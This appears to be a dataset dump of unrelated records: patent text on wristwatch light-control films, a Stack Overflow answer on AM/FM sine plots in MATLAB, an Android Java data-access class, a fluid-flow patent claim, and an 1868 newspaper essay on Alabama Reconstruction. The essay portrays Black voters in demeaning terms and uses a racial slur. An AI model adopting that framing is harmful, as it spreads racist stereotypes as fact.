FIG. 7 is a perspective view of an illustrative light control member. Asshown in FIG. 7, light control member 56 may be formed from a set oflaminated light control films 56L (sometimes referred to as lightcontrol film layers or light control layers). The stack of laminatedlight control films 56L for light control member 56 may have a curvedshape with a concave surface 56′ facing center point 48 and an opposingconvex surface facing away from center point 48. The radius of curvatureof member 56 (e.g., the distance R of surface 56′ or the distance ofsurface 56″ from center point 48) may be at least 2 mm, at least 4 mm,at least 5 mm, at least 1 cm, at least 2 cm, at least 3 cm, less than 4cm, less than 2.5 cm, less than 1.8 cm, less than 0.9 cm, or othersuitable value. The length L of member 56 measured along the curvedouter edge of member 56 may be at least 1 mm, at least 2 mm, at least 3mm, less than 6 m, less than 5 mm, less than 4 mm, less than 2 mm, orother suitable value. The height H (distance from the inner surface ofhousing portion 12RW) of member 56 may be at least 0.05 mm, at least 0.1mm, at least 0.2 mm, at least 0.3 mm, less than 1 mm, less than 0.5 mm,less than 0.25 mm, less than 0.15 mm, or other suitable value. The widthW of member 56 (e.g., the distance between opposing curved surfaces 56′and 56″) may be at least 0.5 mm, at least 0.9 mm, at least 1 mm, atleast 2 mm, less than 2.5 mm, less than 1.5 mm, less than 1.2 mm, lessthan 0.6 mm, or other suitable value.
There may be eight members 56 of the type shown in FIG. 7 arranged in acircle (e.g., there may be a ring of members 56 overlapping eightrespective regions 46 of the type shown in FIG. 4 that are separatedfrom each other by gaps) or members 56 may otherwise be mounted inhousing 12 between housing 12 and the photodetectors of light detector36D. There may be any suitable number of films 56L in member 56 (e.g.,at least 5, a least 10, at least 20, fewer than 25, fewer than 15, fewerthan 8, etc.). The sheets of polymer forming films 56L may be at least20 microns thick, at least 50 microns thick, at least 80 microns thick,less than 400 microns in thickness, less than 200 microns in thickness,less than 100 microns in thickness, less than 50 microns in thickness,or other suitable thickness. A respective layer of material 66 may beinterposed between each pair of adjacent films 56L in member 56.Material 66 may include, for example, adhesive, dye, pigment, metal,polymer, and/or other material. As an example, a layer of adhesive maybe interposed between each pair of adjacent films 56L to attach films56L together to form light control member 56.
The curved shape of light control members 56 allows light controlmembers 56 to form a multi-segment ring of light control members forlight detector 36D (e.g., to form a set of light control members such asa ring of light control members in respective regions such as regions 46of FIG. 4) while reducing undesired light leakage from member 56. Toform the curved shape of light control members 56, films 56L may be bentduring lamination (e.g., while heat and/or pressure is used to joinfilms 56L together to form member 56).
FIG. 8 is a perspective view of an illustrative lamination tool 90 forforming curved light control members 56. As shown in FIG. 8, laminationtool member 70 may have a curved outer surface (e.g., member 70 may be acylinder that is symmetric about rotational axis 72). Films 56L (andintervening adhesive layers) may be pressed against the outer surface ofmember 70 during lamination (e.g., using a pressing member). Using heatand/or pressure or other lamination techniques (e.g., ultravioletcurable lamination adhesive), films 56L may be bent about axis 72 whilebeing attached to each other to form a curved laminated stack of films.
FIG. 9 is a cross-sectional end view of member 70 and films 56L of FIG.8 showing how pressing member 88 of lamination tool 90 may be moved indirection 86 to bend films 56L while laminating films 56L together.After forming a set of laminated films 56L with a desired curvature,members 56 may be cut from the laminated films along lines 80 usingcutting tool 82 of FIG. 10 (e.g., a laser, blade, or other cutter) toform curved members such as curved light control member 56 of FIG. 7.Members 56 may then be installed in device 10 and coupled to housing 12and photodetectors in detector 36D (e.g., using adhesive and/or othermounting structures).
In the example of FIGS. 8, 9, and 10, the lamination tool has acylindrical inner member with a cylindrical surface against which films56L are pressed to bend films 56L and form a stack of laminated bentfilms for member 56. Other lamination tool shapes may be used, ifdesired (e.g., shapes with triangular cross-sectional shapes,rectangular cross-sectionals shapes, shapes with square cross sectionsand rounded corners such as the shape of illustrative tool member 70FIG. 11, and/or other suitable shapes).
Light control members 56 may be used to route light between the exteriorof device 10 and photodetectors in light detector 36D of optical sensor36H or may be used to route light to or from any other optical device ininput-output devices 34 (e.g., an ambient light sensor, etc.).
As described above, one aspect of the present technology is thegathering and use of information such as sensor information (e.g.,optical sensor information). The present disclosure contemplates that insome instances, this gathered data may include personal information datathat uniquely identifies or can be used to contact or locate a specificperson. Such personal information data can include demographic data,location-based data, telephone numbers, email addresses, twitter ID's,home addresses, data or records relating to a user's health or level offitness (e.g., vital signs measurements, medication information,exercise information), date of birth, eyeglasses prescription, username,password, biometric information, or any other identifying or personalinformation.
The present disclosure recognizes that the use of such personalinformation, in the present technology, can be used to the benefit ofusers. For example, the personal information data can be used to delivertargeted content that is of greater interest to the user. Accordingly,use of such personal information data enables users to calculatedcontrol of the delivered content. Further, other uses for personalinformation data that benefit the user are also contemplated by thepresent disclosure. For instance, health and fitness data may be used toprovide insights into a user's general wellness, or may be used aspositive feedback to individuals using technology to pursue wellnessgoals.
The present disclosure contemplates that the entities responsible forthe collection, analysis, disclosure, transfer, storage, or other use ofsuch personal information data will comply with well-established privacypolicies and/or privacy practices. In particular, such entities shouldimplement and consistently use privacy policies and practices that aregenerally recognized as meeting or exceeding industry or governmentalrequirements for maintaining personal information data private andsecure. Such policies should be easily accessible by users, and shouldbe updated as the collection and/or use of data changes. Personalinformation from users should be collected for legitimate and reasonableuses of the entity and not shared or sold outside of those legitimateuses. Further, such collection/sharing should occur after receiving theinformed consent of the users. Additionally, such entities shouldconsider taking any needed steps for safeguarding and securing access tosuch personal information data and ensuring that others with access tothe personal information data adhere to their privacy policies andprocedures. Further, such entities can subject themselves to evaluationby third parties to certify their adherence to widely accepted privacypolicies and practices. In addition, policies and practices should beadapted for the particular types of personal information data beingcollected and/or accessed and adapted to applicable laws and standards,including jurisdiction-specific considerations. For instance, in theUnited States, collection of or access to certain health data may begoverned by federal and/or state laws, such as the Health InsurancePortability and Accountability Act (HIPAA), whereas health data in othercountries may be subject to other regulations and policies and should behandled accordingly. Hence different privacy practices should bemaintained for different personal data types in each country.
Despite the foregoing, the present disclosure also contemplatesembodiments in which users selectively block the use of, or access to,personal information data. That is, the present disclosure contemplatesthat hardware and/or software elements can be provided to prevent orblock access to such personal information data. For example, the presenttechnology can be configured to allow users to select to “opt in” or“opt out” of participation in the collection of personal informationdata during registration for services or anytime thereafter. In anotherexample, users can select not to provide certain types of user data. Inyet another example, users can select to limit the length of timeuser-specific data is maintained. In addition to providing “opt in” and“opt out” options, the present disclosure contemplates providingnotifications relating to the access or use of personal information. Forinstance, a user may be notified upon downloading an application (“app”)that their personal information data will be accessed and then remindedagain just before personal information data is accessed by the app.
Moreover, it is the intent of the present disclosure that personalinformation data should be managed and handled in a way to minimizerisks of unintentional or unauthorized access or use. Risk can beminimized by limiting the collection of data and deleting data once itis no longer needed. In addition, and when applicable, including incertain health related applications, data de-identification can be usedto protect a user's privacy. De-identification may be facilitated, whenappropriate, by removing specific identifiers (e.g., date of birth,etc.), controlling the amount or specificity of data stored (e.g.,collecting location data at a city level rather than at an addresslevel), controlling how data is stored (e.g., aggregating data acrossusers), and/or other methods.
Therefore, although the present disclosure broadly covers use ofpersonal information data to implement one or more various disclosedembodiments, the present disclosure also contemplates that the variousembodiments can also be implemented without the need for accessing suchpersonal information data. That is, the various embodiments of thepresent technology are not rendered inoperable due to the lack of all ora portion of such personal information data.
The foregoing is illustrative and various modifications can be made tothe described embodiments. The foregoing embodiments may be implementedindividually or in any combination.
What is claimed is:
1. An electronic device, comprising: a housing; astack of laminated bent light control films; and a light detectorconfigured to detect light that has passed through the housing and thestack of laminated bent light control films.
2. The electronic devicedefined in claim 1 further comprising a light source, wherein thehousing comprises wristwatch housing having a transparent rear wallportion, wherein the stack of laminated bent light control films forms acurved light control member, wherein the electronic device furthercomprises a heart rate sensor that includes the light detector and thelight source, wherein the light source is configured to emit lightthrough the transparent rear wall portion, and wherein the lightdetector comprises a photodiode that is configured to detect the emittedlight after the emitted light has reflected off of a wrist.
3. Theelectronic device defined in claim 1 wherein the stack of laminated bentlight control films comprises layers of adhesive, wherein each layer ofadhesive is interposed between a respective pair of adjacent bent lightcontrol films in the stack of laminated bent light control films, andwherein each bent light control film includes a layer of polymer withlouvers.
4. The electronic device defined in claim 1 wherein the housinghas a transparent rear wall portion with a circular outline and a centerand wherein the stack of laminated bent light control films has aconcave surface that faces the center and an opposing convex surfacethat faces away from the center.
5. The electronic device defined inclaim 1 further comprising a light source, wherein the light source andthe light detector form an optical sensor.
6. The electronic devicedefined in claim 5 wherein the light source comprises at least onevisible-light light-emitting diode.
7. The electronic device defined inclaim 1 further comprising: a light source; and a display on a frontface of the housing, wherein the housing has an opposing rear face witha transparent member and wherein the light detector is configured todetect the light after the light has been emitted by the light source,has passed through the transparent member a first time, has passedthrough the transparent member a second time, and has passed through thestack of laminated bent light control films.
8. A wristwatch,comprising: a wristwatch housing having opposing front and rear faces; adisplay at the front face; an optical sensor at the rear face, whereinthe optical sensor comprises a light source and a light detector; andlaminated bent light control films, wherein light from the light sourcepasses through the laminated bent light control films to the lightdetector.
9. The wristwatch defined in claim 8 wherein the laminatedbent light control films form curved light control members.
10. Thewristwatch defined in claim 9 wherein the wristwatch housing has atransparent portion at the rear face and wherein the light from thelight source passes through the transparent portion.
11. The wristwatchdefined in claim 10 wherein the transparent portion has a circularoutline and a center and wherein the curved light control members eachhave a concave curved surface facing the center.
12. The wristwatchdefined in claim 11 wherein the light detector comprises photodetectorsand wherein each photodetector receives the light that has passedthrough the laminated bent light control films of a respective one ofthe curved light control members.
13. The wristwatch defined in claim 12wherein the light source comprises a visible-light light-emitting diode.14. The wristwatch defined in claim 9 wherein the curved light controlmembers are arranged in a ring and are separated from each other bygaps.
15. An electronic device, comprising: a ring of optical structuressurrounding a center point, each optical structure including a stack ofbent light control films having a curved inner surface facing the centerpoint; and a light detector configured to detect light that has passedthrough the ring of optical structures.
16. The electronic devicedefined in claim 15 further comprising a light source, wherein the lightsource emits light that is detected by the light detector.
17. Theelectronic device defined in claim 16 further comprising a wearablehousing, wherein the light source and light detector form an opticalsensor in the wearable housing.
18. The electronic device defined inclaim 17 wherein the light source comprises a light-emitting diode thatis configured to emit the light and wherein the detector detects theemitted light after the emitted light has reflected from an externalobject.
19. The electronic device defined in claim 15 further comprisinga light source, wherein the light source and the light detector areconfigured to form a heart rate sensor.
20. The electronic devicedefined in claim 15 further comprising a housing, a display in thehousing, and a wrist band coupled to the housing, wherein the housinghas a transparent member and wherein the light detector is configured todetect the light after the light has passed through the transparentmember and the ring of optical structures..
| 45,025 |
https://stackoverflow.com/questions/26921544 | StackExchange | Open Web | CC-By-SA | 2,014 | Stack Exchange | SMH, https://stackoverflow.com/users/2264392, https://stackoverflow.com/users/3250829, rayryeng | English | Spoken | 966 | 1,423 | Drawing sine wave with increasing Amplitude and frequency over time
I am trying to plot a sine wave where the amplitude increases over time and the frequecy increases over time as well. I draw a normal sine wave as shown below but I couldn't change the amplitude and frequency. Any Ideas?
t = [ 0 : 1 : 40 ]; % Time Samples
f = 500; % Input Signal Frequency
fs = 8000; % Sampling Frequency
x = sin(2*pi*f/fs*t); % Generate Sine Wave
figure(1);
stem(t,x,'r'); % View the samples
figure(2);
stem(t*1/fs*1000,x,'r'); % View the samples
hold on;
plot(t*1/fs*1000,x); %
Are you speaking of amplitude and frequency modulation? How does the amplitude or frequency increase over time? Linearly?
I need to draw a sine wave in which at the beginning the amplitude is small and the frequency as well and then increases over time after a small period
You're talking about amplitude or frequency modulation with the modulating signal as a linear ramp. I'll write an answer.
yup I am talking about amplitude or frequency modulation
You should probably put this in your question next time. If you know exactly what you're talking about, people will answer your question quickly.
I believe what you are speaking of is amplitude modulation (AM) and frequency modulation (FM). Basically, AM refers to varying the amplitude of your sinusoidal signal and varying this uses a function that is time-dependent. FM is similar, except the frequency varies instead of the amplitude.
Given a time-varying signal A(t), AM is usually expressed as:
Minor note: The above is actually double sideband suppressed carrier (DSB-SC) modulation but if you want to achieve what you are looking for in your question, we actually need to do it this way instead. Also, the signal customarily uses cos instead of sin to ensure zero-phase shift when transmitting. However, because your original code uses sin, that's what I'll be using as well.
I'm putting this disclaimer here in case any communications theorists want to try and correct me :)
Similarly, FM is usually expressed as:
A(t) is what is known as the message or modulating signal as it is varying the amplitude or frequency of the sinusoid. The sinusoid itself is what is known as the carrier signal. The reason why AM and FM are used is due to communication theory. In analog communication systems, in order to transmit a signal from one point to another, the message needs to be frequency shifted or modulated to a higher range in the frequency spectrum in order to suit the frequency response of the channel or medium that the signal travels in.
As such, all you have to do is specify A(t) to be whichever signal you want, as long as your values of t are used in the same way as your sinusoid. As an example, let's say that you want the amplitude or frequency to increase linearly. In this case, A(t) = t. Bear in mind that you need to specify the frequency of the sinusoid f_c, the sampling period or sampling frequency of your data as well as the time frame that your signal is defined as. Let's call the sampling frequency of your data as f. Also bear in mind that this needs to be sufficiently high if you want the curve to be visualized properly. If you make this too low, what'll happen is that you will be skipping essential peaks and troughs of your signal and the graph will look poor.
Therefore, for AM your code may look something like this:
f = 24; %// Hz
f_c = 8; %// Hz
T = 1 / f; %// Sampling period from f
t = 0 : T : 5; %// Determine time values from 0 to 5 in steps of the sampling period
A = t; %// Define message
%// Define carrier signal
carrier = sin(2*pi*f_c*t);
%// Define AM signal
out = A.*carrier;
%// Plot carrier signal and modulated signal
figure;
plot(t, carrier, 'r', t, out, 'b');
grid;
The above code will plot the carrier as well as the modulated signal together.
This is what I get:
As you can see, the amplitude gets higher as the time increases. You can also see that the carrier signal is being bounded by the message signal A(t) = t. I've placed the original carrier signal in the plot as an aid. You can certainly see that the amplitude of the carrier is getting larger due to the message signal.
Similarly, if you want to do FM, most of the code is the same. The only thing that'll be different is that the message signal will be inside the carrier signal itself. Therefore:
f = 100; %// Hz
f_c = 1; %// Hz
T = 1 / f; %// Sampling period from f
t = 0 : T : 5; %// Determine time values from 0 to 5 in steps of the sampling period
A = t; %// Define message
%// Define FM signal
out = sin(2*pi*(f_c + A).*t);
%// Plot modulated signal
figure;
plot(t, out, 'b');
grid;
Bear in mind that I changed f_c and f in order for you to properly see the changes. I also did not plot the carrier signal so you don't get distracted and you can see the results more clearly.
This is what I get:
You can see that the frequency starts rather low, then starts to gradually increase itself due to the message signal A(t) = t. As time increases, so does the frequency.
You can play around with the different frequencies to get different results, but this should be enough to get you started.
Good luck!
Perfect!
I have a small question.. How can I change the frequency for the same signal as you changed the amplitude in figure 1?
| 30,634 |
https://github.com/uscliufei/TouMai-Net/blob/master/app/src/main/java/com/runer/toumai/dao/MessageInfoDao.java | Github Open Source | Open Source | Apache-2.0 | null | TouMai-Net | uscliufei | Java | Code | 203 | 923 | package com.runer.toumai.dao;
import android.content.Context;
import com.fasterxml.jackson.databind.JsonNode;
import com.runer.net.JsonUtil;
import com.runer.net.RequestCode;
import com.runer.net.interf.INetResult;
import com.runer.toumai.base.Constant;
import com.runer.toumai.bean.ConcernMsgBean;
import com.runer.toumai.bean.MsgInfoBean;
import com.runer.toumai.net.NetInter;
import com.runer.toumai.net.RunerBaseRequest;
import com.runer.toumai.net.RunnerBaseLoadMoreRequest;
import com.runer.toumai.net.RunnerParam;
import java.io.IOException;
import java.util.ArrayList;
import java.util.List;
/**
* Created by szhua on 2017/8/21/021.
* github:https://github.com/szhua
* TouMaiNetApp
* MessageInfoDao
*/
public class MessageInfoDao extends RunerBaseRequest{
private MsgInfoBean msgInfoBean ;
private List<ConcernMsgBean> datas =new ArrayList<>();
private int totalPage;
private boolean isMore ;
public boolean hasMore(){
return isMore ;
}
public MsgInfoBean getMsgInfoBean() {
return msgInfoBean;
}
public List<ConcernMsgBean> getDatas() {
return datas;
}
public MessageInfoDao(Context context, INetResult iNetResult) {
super(context, iNetResult);
}
@Override
public void onRequestSuccess(JsonNode result, int requestCode) throws IOException {
if(requestCode==RequestCode.CODE_6){
msgInfoBean = JsonUtil.node2pojo(result.get("info"),MsgInfoBean.class);
List<ConcernMsgBean> resultData =JsonUtil.node2pojoList(result.findValue("lists"),ConcernMsgBean.class);
//添加数据
if(resultData!=null){
datas.addAll(resultData) ;
}
//获得总页数
if(result.findValue("total_page")!=null)
totalPage =result.findValue("total_page").asInt();
//判断是否含有更多
if(currentPage>=totalPage){
isMore =false ;
}else{
isMore =true ;
}
}
}
private int currentPage =1;
private int perPageNum = Constant.DEFAULT_PERPAGE_COUNT ;
public void getMessageInfo(String id ,String user_id ,String from_user ){
RunnerParam param =new RunnerParam() ;
param.put("id",id) ;
param.put("num",perPageNum) ;
param.put("page",currentPage) ;
param.put("user_id",user_id) ;
param.put("from_user",from_user);
request(NetInter.mes_info,param, RequestCode.CODE_6);
}
//刷新数据
public void refresh(String id ,String user_id ,String from_user){
datas=new ArrayList<>();
currentPage =1 ;
getMessageInfo(id,user_id,from_user);
}
//加载更多
public void loadMore(String id ,String user_id ,String from_user){
if(hasMore()){
currentPage++ ;
getMessageInfo(id,user_id,from_user);
}
}
}
| 27,084 |
https://github.com/reesretuta/dropshipping-icons/blob/master/js/duotone/cid-mic.d.ts | Github Open Source | Open Source | CC-BY-4.0, MIT | null | dropshipping-icons | reesretuta | TypeScript | Code | 5 | 11 | export declare const cidMic: string[]; | 9,181 |
US-30509063-A_2 | USPTO | Open Government | Public Domain | 1,963 | None | None | English | Spoken | 247 | 488 | 1. IN APPARATUS FOR MEASURING FLUID FLOW, SAID APPARATUS HAVING SENSING MEANS FOR SENSING AN ELECTRICAL QUANTITY WHICH IS A FUNCTION OF THE FLUID FLOW, AND ENERGIZING MEANS FOR CREATING A FIELD WHICH, IN CONJUNCTION WITH SAID FLOW, CREATES SAID ELECTRICAL QUANTITY, THE COMBINATION COMPRISING: FIRST TIME SAMPLING MEANS FOR SAMPLING SAID ELECTRICAL QUANTITY AT PREDETERMINED FIRST INTERVALS AND DELIVERING AN OUTPUT WHICH IS A COMPOSITE OF BOTH A FLOW SIGNAL THAT IS A FUNCTION OF SAID FLOW AND AN UNWANTED ERROR SIGNAL; SECOND TIME SAMPLING MEANS FOR SAMPLING SAID ELECTRICAL QUANTITY AT PREDETERMINED INTERVALS DIFFERING FROM SAID FIRST INTERVALS AND DELIVERING A SIGNAL WHICH IS A FUNCTION SUBSTANTIALLY ONLY OF SAID UNWANTED ERROR SIGNAL; MEANS FOR ALGEBRAICALLY COMBINING THE OUTPUTS OF SAID TIME SAMPLING MEANS TO DERIVE A SIGNAL WHICH IS A FUNCTION OF THE FLUID FLOW FREE OF THE UNWANTED ERROR SIGNAL, AND MEANS FOR MEASURING SAID DERIVED SIGNAL, THEREBY TO OBTAIN A MEASURE OF SAID FLOW.
12. PROCESS FOR THE MEASUREMENT OF FLUID FLOW COMPRISING: CREATING A SINGLE SIGNAL WHICH IS A FUNCTION OF SAID FLOW AND ALSO OF AN ERROR; DERIVING FROM SAID SINGLE SIGNAL A SECOND SIGNAL WHICH IS A FUNCTION OF SAID FLOW AND OF SAID ERROR; DERIVING FROM SAID SINGLE SIGNAL A THIRD SIGNAL WHICH IS A FUNCTION ONLY OF SAID ERROR; COMBINING SAID SECOND AND THIRD SIGNALS TO PRODUCE A FOURTH SIGNAL WHICH IS A FUNCTION OF SAID FLOW SUBSTANTIALLY FREE OF SAID ERROR; AND MEASURING SAID FOURTH SIGNAL..
| 38,157 |
sn83020847_1868-02-08_1_3_1 | US-PD-Newspapers | Open Culture | Public Domain | null | None | None | English | Spoken | 6,733 | 8,557 | CElje ftqmMimn. TIIE CONDITION OF THE SOUTH. H> a tUuwsat-huNeltn Mira Who Has Bmii There. ii.—the count*is op politics—Alabama ah AN EXAMPLE. After stating the facts of the material situation I will attempt to give the main course of the po litical events of the last two years, taking the state of Alabama, where 1 am best acquainted, as the basis. The United States was, at the end of the war, completely master of the situation, and with the universal deference to the military occupation as the only safe-guard for keeping the peace, it is if possible eveu more so at the present time. With all the state governments and institutions, and even the ideas of the South overthrown, it was the only authority left standing and was obliged to act not only by its own vigor but by the in stinctive and impulsive demand of society which it atone visibly held together. It could and can do all that a government can do, but it is neces sary to say that it could not do what government cannot do, it could not enter into the inner cir cle ot the mind, it could not make a single thing right that, was wrong before, nor could it supply all the defieiences of education and intelligence. But whatever intelligence there was which had not submitted to the old order of things, what ever morality, to which it was repugnant, was let loose, and tliis was so considerable that slavery was given up in principle by general consent. While authority was in abeyance and the persons and principles which led to the rebellion discredited, if there was any power in the community to right itself there was then an opportunity to assert itself under the legitimate encouragement of the government, or if the United States had any policy of its own it was sure of submissive obedience to whatever instruments it chose to appoint. So far as authority is concerned it is as supreme as ever, as nobody supposes the state governments since the war have ever touched solid ground; but in influence and opinion its position is much changed, following its traditions it chose the people themselves, or a portion of them, as its instruments, let us see with what results. Mr. Parsons was appointed governor and a convention called which ratified the amendment abolishing slavery and ate humble pie to an astonishing extent. The action of the subsequent Legislature was of the same character so far as it went, with one exception. They defined servants who would not work as vagrants, and authorized their apprehension. This was in reality no more than the bureau itself did, and the only cases known to have been made under the law were at its instigation. They allowed the evidence of blacks in cases where they were a party to the record, but this restriction was against the opinion of the whole bar, and upon the passage of the civil rights bill the judges very gladly admitted their evidence in all cases. Gov. Parsons was picked out as a Union man, associated with and passed for such, but after his election to the Senate, and non-reception on account of the unsatisfactory character of the body by which he was elected, his unionism was discredited, and he and his friends were shown the door. His elected successor, Gov. Patton, whom Gen. Wilson calls a sincere and converted man, was of a more advanced stripe of unionism, a man of high character, an excellent officer, seriously bent on restoring the prosperity of the state, before the passage of the reconstruction act, alone, it is believed, of all the southern governors, he recommended the acceptance of the second amendment, and on various occasions had decidedly cast in his lot with the Union party. But for all that, as the shade of opinion which he represents does not coincide with that which presides over the enforcement of the reconstruction act, a second division has been decreed, and another most respectable class forced into an attitude of opposition. His services and the respect in which he is held may prevent an open outbreak, but if they bring him reverence, they bring him nothing else. No doubt in numbers their place is far more than filled by the negro voters, let in under the act. An election has been held from which the whites generally kept aloof in obedience to orders issued at the last moment. A constitution has been framed and it is now being voted on. Out of the chaos order enough has emerged to show the opposing lines over what ground the battle is to be fought. Right or wrong, the party in opposition to these measures, presented under the name of the United States, which two years ago was numb and nerveless, is now recruited by almost the entire white population, under the best discipline, that of adversity, confident of the future, and sure of defeating the constitution. In this it is likely to be disappointed. The chances are in favor of its adoption, and then will be filled out what thus far appears, however clearly, only in outline. The constitution is a good constitution, if not for Massachusetts or New York, yet for any western state. It attacks caste, establishes popular rights, provides for education, reasonable taxation and other things belonging to good government. If prepared in Idaho there would not be a word to be said. What is good for Idaho, can it be bad for Alabama? Yes. Why? Because under it in Alabama, government fit to bear the name is neither possible nor intended. But to stick to the facts. Nineteen members of the convention protested against the constitution when passed. Half a dozen lines determine what the government is to be. The voters are to be those who are not disfranchised for crime or by the laws of the United States, and who take an oath that they accept the principle of equality before the law, and that they will never do anything to deprive any portion of the community of any political or civil right, privilege or immunity. This includes equal suffrage for the blacks and the right to serve on juries and in the militia. As, with their education and ideas, this does not, in the opinion of the whites, provide for the best government, they are required to swear that they will never do anything to improve it. Being at any rate an experiment, if it should not perfectly succeed, whoever takes the oath will have to be false either to his oath or his opinion. So matter for what reason, the great body of the whites will refuse to put themselves in this position and remain outside of the organization of the state. Thus are left the negro voters, together with whites enough, native or imported, to manage them, to hold the offices and rule the people. According to common report, the natives are the greater scoundrels, but the foreign domination is the most offensive. Enough came out of the practical management of the negroes during the preparation for the convention election to show how it can be done. There are many northerners of ability scattered through the South. There are also many politicians whom the people have not insisted on keeping at home, but who know how to pull the wires, it is their merit instead of their fault that they find out the strongest elements of the situation and how to employ them. When an ignorant constituency is befooled nothing is more silly than to charge upon individuals the corruption which belongs to the system. That is what it is to be ignorant, to be always befooled, in this case, where the blacks are completely ignorant of political divisions, and always liable to yield to the influences to which they have been accustomed, it is necessary to apply a stimulus adapted to their condition, and strong enough to make their votes reliable, in short, a party line must be drawn where they can see it. This is done by means of the loyal leagues to which they are admitted in the night, in the woods, with secret rites in which they assume certain obligations towards each other and receive their political instruction—that is, they should how to vote. In this separation there is necessarily an element of antagonism of race and person in opposition which does not yet show itself in their general behavior. In the far south at least they are ordinarily polite and quite as submissive as they ought to be. After diligent inquiry three months after election, I have never found one who remembered for whom or for whom he voted. At present, however, they all vote us true as steel and do just what we, the Yankees, will not, without some misgivings, some signs of a breakdown. Here is a little story. On election morning, in a certain village county seat, two old army comrades unexpectedly met. One was a planter in the neighborhood, the other was in the political business, had stumped the state, and came down to attend to the election. After mutual greetings, they gowned with other friends to a room in our hotel, when, as sometimes happens in that country, the following bowl, ante in. The politician had a bright and lively servant who had attended him through the country, and, in imitation of his master, made famous speeches to the darkies. He was encouraged to treat the company to a sample, in fact was treated himself to start on, and before a sympathetic and applauding audience delivered his sentiments, radical to the backbone. Everybody knows that, talking is dry work as well as listening, and no one was disposed to see him suffer, so that his labors were frequently lightened. But, behold, as his speech grows glib and a little indistinct, his sentiments met a marvelous change; he leans more and more to the side of his old masters, the men that he had served, that he was born and brought up with, till, finally, exclaiming that “he hated their politics but he loved the men,” it was too much and he was put down stairs in disgrace. The argument is not conclusive but suggestive. . But the voters are provided, probably a majority of the male inhabitants of Alabama. The weak point is in the number capable of holding offices and doing the duties, as they must be distributed. And on this point, in a considerable experience in the country parts, the difficulty has been found to be so great even under the congressional disfranchisement as to make the estimate of 40,000 or 50,000 for the whole number disfranchised look very inadequate. Add to them those disqualified by the new constitution, and some districts will have to go by inspiration, not by law. This state of things, when the office-holding material is a little too small for the offices, must be so delightful to the managers as to make it tolerably sure that it did not come by chance, but on purpose, and that if the white people of Alabama had not refused the present test they would have been served with another which would have answered. The mental condition of the whites, so lately the people of the state, now likely to become outcasts, takes in it wide range, both in sociology and politics, which have still something to do with ideas as well as enumeration. Amid the Phantasmagoria of governments that have danced before their eyes, the United States is the only power in possession of those qualities that impress the imagination and enforce obedience. These qualities it has maintained, and the greater the confusion, the more commanding is its position. It can still do anything that a government can do to lend the way out of the lazy, and may be sure of a larger following than any other leader. Even when distrusted or abhorred it is looked upon as the old chief was by Mr Choate, when he said, “I go—you are ugly, but I know you are great.” s. I. BOOKS, AUTHORS AND ART. The December number of the Correspondant, one of the leading French reviews and the organ of Count Montalembert, contains an article written by George Walker of this city, entitled “The First Years of Peace in the United States.” It is an able and candid review of the financial policy of the government since the war, the condition of the national debt and the sources of public revenue. On the question of the payment of the five twenties in gold, the evident intention of the government and the decided will of the people is clearly set forth. Such an intelligent statement of our affairs must do much to inform the public mind in Europe concerning this country, and be efficient in dispelling distrust both of our ability and intention to pay our debt. The article was translated by Henry Moreau, one of the most accomplished financial writers of Paris. Samuel Bowles & Co. of this city have just published in an elegant pamphlet of 128 pages, in the Boston Herald, delivered at West Brookfield, Mass., on occasion of the one hundred and fiftieth anniversary of the first church in Brookfield, October 18, 1857, by Samuel Dunham, pastor of the church. The pamphlet also contains a portrait of Ephraim Ward, pastor of the church from 1771 to 1818, the poem of Rev Francis Horton of Barrington, R.I., and an account of the exercises at this most interesting anniversary. Mr Dunham’s address was evidently prepared with great care, and the pamphlet will be of interest to every resident or native of the Brookfield, a large number and a goodly number. . All books on religious subjects now must have "Ecc" in the title somewhere, and "Ecc" Ecclesias, an essay showing the essential identity of the church in all ages, (New York, published by Bleck & Co.) is no exception to this rule. The author’s name is not given, and we confess we have had courage to get only a little way beyond the preface, where it is stated that the Subject of the work “is to correct some of the many very hurtful and untrue teachings which are so abundant in our current literature respecting the church, and to endeavor to show its easy and rational progress down through the period of the Savior’s advent.” We commend the book to anyone who would value the opinions of an anonymous writer upon the subjects it treats of. Prot Alexander, T. Schem, who makes the Tribune Almanac so good that other political manuals are needless, has made a venture in a new direction and gives us now The American Ecclesiastical Almanac, containing many pages of statistics and facts of interest to ministers and laymen, it is about the same size of the Tribune Almanac, and has all the valuable qualities possessed by that manual. Frederick Gerhard, 15 Dev street, New York, is the agent for the sale of this almanac. A few years since the state of Wisconsin, by legislative enactment, and at the expense of the state, placed a copy of Webster’s unabridged dictionary in each of its public schools. Nearly or quite every season since an additional supply has been voted, to furnish new schools which have come forward during the year. Our neighbors, the publishers (on this occasion Messrs Merrymen) have, just forwarded 225 copies as the annual supply for 1888. These young states of the West are fully abreast, if not in advance, of the older commonwealths of the East in educational matters. Gen James Grant Wilson, 51 St Mark’s place, New York, is to be the biographer of the poet laureate.—W. F. G. Shanks, late of the Herald, has become editor of Harper’s Weekly.—The new comic paper, the Magpie, just started at New York, is published under the auspices of the photo-lithograph society, and will be made up for nightly from the various comic journals of the world. It gives the cartoons of Punch, and the funny sayings of the funny papers of London and Paris, “borrowed” by the new and wonderful art of photo-lithography.—Every Saturday follows the example of Once a Week, one of the best of its English originals, and gives a full page engraving occasionally. — Mayne Bold, who so naughtily rebukes the idea of his making an exhibition of himself, a la Dickens, was formerly a stock actor in a western theater, where he played insignificant parts with peculiar weakness.— When Saxe found an edition of his poems had been “pirated” in England, he said that he did not care; but that he could not forgive the publisher for calling him, Godfrey Saxe.—The library of John W. Calhoun is advertised to be sold at auction. It forms part of the property of the late A. P. Calhoun. Ticknor (L Fields of Boston offer this tempting bill of fare in the way of new books to be published in the coming few months: a new romance by Mrs. Harriet Beecher Stowe; a volume of stories by Edward Everett Hale; Nathaniel Hawthorne’s American Note Book; a new and complete edition of Halleck’s poems, with an introduction by William Cullen Bryant: a volume of adventures during the war, by Col. T. W. Higgins; a romance in verse, by Robert Browning; a memoir of the Dahlgren, by his father, the Admiral; the diary and recollections of Henn Orabbe Robinson; “Farming for Boys,” by the author of "Ten Acres Enough;” new poems by Owen Meredith; “The Chimney Corner,” by Mrs. Stowe; and “Foul Hay,” a novel by Charles Me. K. H. Butler & Co. of Philadelphia have in press a unique little work and sure to be interesting, entitled Rhymes of the Poets, by Felix Ago, in which will be pointed out the indications which appear in the earlier English poetry of a difference between the former and the present pronunciation of words. From the rhymes which the author quotes, he infers that the word seat, for example, was formerly pronounced (as now, by the Irish) sate, and home, as now in New England, hum. Join was it; spoil, spoil; and soil, spoil; joy is made, by Tighe, to rhyme with sigh, and Borne, by Butler and others, with doom. The author might have added that this latter pronunciation still survives in the name Romantola, the country around 